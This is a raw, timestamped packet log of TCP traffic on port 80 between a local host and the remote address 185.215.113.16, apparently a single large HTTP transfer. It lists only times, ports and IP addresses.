Dec 27, 2024 08:50:59.183362961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183427095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183442116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183487892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.183507919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183551073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.184180021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.184221029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.184236050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.184324026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.184370041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.184976101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185013056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185030937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185055017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.185110092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185272932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.185750008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185797930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185811996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.185863972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.185889006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.186451912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.186539888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.186599016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.186613083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.186659098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.186685085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.187020063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.187321901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.187380075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.187391043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.187439919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.187489033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188113928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188153028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188163996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188174009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.188199997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.188229084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188275099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.188901901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188926935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188940048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.188966990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.189001083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.189166069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.189698935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.189747095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.189763069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.189800978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.189851046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.190057993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.190470934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.190526962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.190541029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.190565109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.190619946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.190851927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.191262007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.191327095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.191337109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.191376925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.191382885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192050934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192101955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192115068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192116022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.192133904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.192208052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192244053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.192873955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192897081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192909956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.192951918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.193032026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.193500996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.193666935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.193697929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.193711996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.193766117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.193782091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.193849087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.194418907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.194463015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.194477081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.194550037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.194596052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.195228100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.195250988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.195262909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.195297956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.240499973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.281836033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.281862020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.281879902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.281918049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.281936884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.282187939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.282197952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.282218933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.282228947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.282244921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.288680077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.288732052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.288746119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.288856030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.288894892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.288919926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.288930893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.288981915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.289010048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289556026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289654016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289702892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.289782047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289818048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289833069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.289855003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.289869070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.290026903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.290601015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.290623903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.290646076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.290668011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.290708065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.305159092 CET	80	49783	185.215.113.206	192.168.2.6
Dec 27, 2024 08:50:59.305272102 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:59.343188047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343218088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343228102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343288898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.343295097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343343973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343347073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.343359947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.343576908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.343987942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344036102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344050884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344108105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.344121933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344451904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.344789982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344825983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344837904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.344873905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.344929934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.345642090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.345653057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.345671892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.345700979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.345726013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.345937967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.346345901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.346389055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.346405029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.346472025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.384387016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384449005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384464025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384481907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384598017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.384695053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384890079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384916067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384934902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.384947062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.384970903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.385108948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.385253906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.385674953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.385716915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.385727882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.385766983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.385799885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.386096001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.386466980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.386522055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.386534929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.386575937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.386584997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.387389898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.387444973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.387454033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.387455940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.387521029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.387543917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.387698889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.388068914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388094902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388106108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388134003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.388207912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388458967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.388832092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388856888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388870001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388904095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.388946056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.388993979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.389621973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.389646053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.389658928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.389688015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.389761925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.389856100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.390404940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.390428066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.390444040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.390470982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.390546083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.391206026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.391264915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.391268015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.391275883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.391300917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.391323090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.391424894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.391992092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392015934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392029047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392076015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.392100096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392307997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.392765999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392807007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392860889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.392888069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.392975092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.393039942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.393567085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.393641949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.393663883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.393695116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.393706083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.393732071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.394361019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.394397974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.394408941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.394527912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.394577026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.395152092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.395175934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.395189047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.395216942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.395289898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.395364046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.396027088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396038055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396054029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396070004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396087885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.396106958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.396718025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396826029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.396864891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.483046055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483206034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483216047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483236074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483288050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.483401060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483479023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483489037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.483555079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.489978075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.489989042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490008116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490027905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.490062952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.490109921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490175962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490185976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490226984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.490262032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490298033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.490917921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.490986109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491002083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491039038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.491072893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491707087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491743088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491763115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.491770029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.491785049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.537343979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.545404911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545469999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545481920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545514107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.545535088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545577049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.545660019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545713902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545728922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545763969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.545809031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.545898914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.546519041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.546591997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.546605110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.546627045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.546643972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.546675920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.547247887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.547271013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.547281027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.547334909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.547368050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.547413111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.548042059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.548106909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.548120975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.548155069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.548180103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.548441887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.585755110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.585805893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.585846901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.585922956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.585974932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.585992098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.586033106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.586074114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.586579084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.586613894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.586630106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.586631060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.586666107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.586698055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.587275028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.587377071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.587419033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.587435007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.587454081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.587532997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588145018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588191986 CET	49752	80	192.168.2.6	185.215.113.16
